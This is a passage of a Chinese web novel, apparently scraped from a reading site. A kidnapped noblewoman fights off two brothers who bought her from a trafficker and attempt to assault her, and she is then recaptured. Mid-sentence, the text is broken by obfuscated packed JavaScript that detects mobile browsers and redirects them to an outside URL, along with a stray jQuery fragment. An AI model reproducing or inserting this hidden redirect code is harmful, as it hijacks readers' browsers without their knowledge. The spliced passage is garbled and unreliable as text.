有了官家的庇护,胡氏兄弟的行为越发肆无忌惮,除了一次次地对那些无权无势良家女子下手外,更是专门修建了一处名为“赏春园”的宅子,表面看似做着茶楼的生意,实则在内室里挂满了各色春宫图,专供相熟的高官贵胄观赏亵玩。 此刻见对方不知羞耻地自报家门,温沉吟惊诧之余止不住心下生厌。 想到那些不堪入目的“画作”,更是忍不住阵阵恶心。 但此刻她身陷囹圄,气恼唾骂皆是无用,于是只能耐心试探道:“我与公子素不相识,公子为何会偏偏找上我?” 胡礼见色起意,早已是蠢蠢欲动,此刻听她问起,口气越发兴奋:“姑娘误会了,找上你的并非是我兄弟二人,而是王婆。那老婆子以此营生,看到姑娘这样的绝色,自然不会放过。不过姑娘也不必害怕,只要你乖乖听话,我必会让你体验到这人世间的极乐!” 听他这口气,那名叫王婆的妇人定是拐卖女子的惯犯,方才见她不适,才会趁虚而入,将她引导此处,卖到了胡氏兄弟手里。 清楚了事情的原委,温沉吟无心在与他虚以委蛇,当即冷声一哼:“公子既不认识我,难道就不想问问,我究竟是什么人吗?” 胡礼阅女无数,早已从她的举止谈吐中意识到,她绝非普通人家的女子。 但美色当前,他哪里还肯轻易放过:“俗话说,牡丹花下死,做鬼也风流。姑娘如此姿容,若是能一亲芳泽,便算是值得了,又何必去探究你是何身份呢?” 温沉吟不料他色胆包天道如此地步,心下难免有些惊惶,于是很快摆出了谈判的架势:“我与公子无冤无仇,也不想因事与公子结下仇怨。不如彼此之间做个交易。只要公子放我离开,无论公子有何心愿,我都尽力满足,如何?” 胡礼闻言啧声一叹:“姑娘大概还不知道,我兄弟二人不缺银子,对功名利禄也没什么兴趣,生平最大的心愿,便是能赏遍这世间的绝色美人。如今能有机会与姑娘亲近,那便是用皇帝的位置,也是不愿换的!” 不待温沉吟再说话,他已经一步步向她逼近:“我向来怜香惜玉,不到万不得已,绝不愿让姑娘受苦。所以只盼姑娘知我心意,也别让我太为难……” 他话虽说得客气,但步步紧逼之下,已然将温沉吟逼至床边。 温沉吟再是镇定,此刻面对这种油盐不进的急色鬼,一时间也有些乱了手脚。 眼见顷刻之间,对方的一双手已然落向了自己的领口,惊惶之下,温沉吟只能迅速躲闪,声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381060|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里也带上了几分哀求:“公子决心已定,想来我如何劝说也是无用。只是……此地除了你我二人之外,难道还要留有旁人吗?” 胡礼见她羞急,口气越发暧昧:“我兄弟形同一人,自然是我在哪里,他便在哪里。不过姑娘大可放心,我那弟弟从来只是负责作画而已,绝不会出声打扰的……” 温沉吟紧咬着牙,目中似是已蕴上了泪水:“既是如此,那是否能容我和他说上几句话?不然我实在害怕……” 胡礼早已急不可待,但见她眼眶泛红,满脸哀求,终究还是心下一软,点了点头:“姑娘有什么话,尽管说便是。只是我那弟弟可没我这么怜香惜玉,你若想让他放了你,趁早别白费心思。” 温沉吟低低“嗯”了一声,迅速从他身旁躲开,随即走到了胡仪身前,声音也放得更低了些:“听闻公子丹青妙手,所画人物向来栩栩如生。只是我父亲在朝中做官,若是知我今日遭遇,必定会颜面大损。所以还公子答应我一个要求……” 胡仪原本早已铺好了宣纸,低头缓缓地研着墨。 听她哀求之声尽是凄婉,不禁也抬起头来:“什么?” 话音刚落,温沉吟已经疾步绕向他身后,左手一展,用小臂将他喉咙牢牢箍紧,一直藏在右边衣袖中的发簪也直直地抵向了他的前关。 胡礼被她惊慌不安的表现所蒙骗,只觉得一切尽在掌握,却没想到事情会忽然生变。 此刻见胡仪受胁,一时间只觉得又惊又怒:“你要干什么?” 温沉吟心知自己身无武功,仅凭一己之力,绝不可能胁迫对方太久,但脸上却还是迅速挂上了一抹冷笑:“我平日里出门不爱带侍女,自然也会在自己的安全上多下点功夫。这根簪子是我的保命之物,簪内藏有毒针,只要刺破肌肤便能要了他的性命。公子若是不信,咱们大可赌上一赌!” 胡礼显然对自己的弟弟极是紧张,当即促声表示:“姑娘手下留情!咱们有事好商量,切勿伤了我弟弟的性命!” 见他投鼠忌器,温沉吟心下略松:“今日之事是那王婆作恶,我也不予你二人为难。只是还需麻烦你弟弟送我一趟,只要出了这条巷子,我便饶他性命!” “送你出这巷子?” 胡仪闻言一愣,然后很快反应过来了 他们所在的巷子便在主街附近,只要出了巷子,入了街市,四下里便都是巡城的兵马,届时只要有人高声呼救,就随时会有人上前过问。 到了那个时候,任他胡礼武功再高,也不可能当着官兵的面,再将她强行带走。 眼下因为自己轻敌大意,胡仪已在对方手中。 虽然并不确定温沉吟那根簪子里是否真有毒针,但他却舍不得用亲弟弟的性命做赌注。 他这边尚在犹豫,温沉吟却已经拉着胡仪亦步亦趋地走到了门边,将房门拉开。 胡礼见状,不禁深深叹了一口气,只能快步跟了上去。 眼见威胁生效,温沉吟不敢耽误,只想赶紧离开这是非之地。 不料前脚才踏出房门,眼前急风掠起,不知从何处飞来的一颗细小的石子竟直直击向了她的手腕。 随着一阵酸麻感袭来,温沉吟手腕一软,那根发簪再也握不住,很快“当”地一声掉在了地上。 温沉吟心知有变,立马将胡仪狠狠一推,就想朝着巷口的方向冲去。 脚步才动,眼前黑影一闪,有人堵在她身前掌风连劈,不过短短几招,便已将她重新逼回了屋中。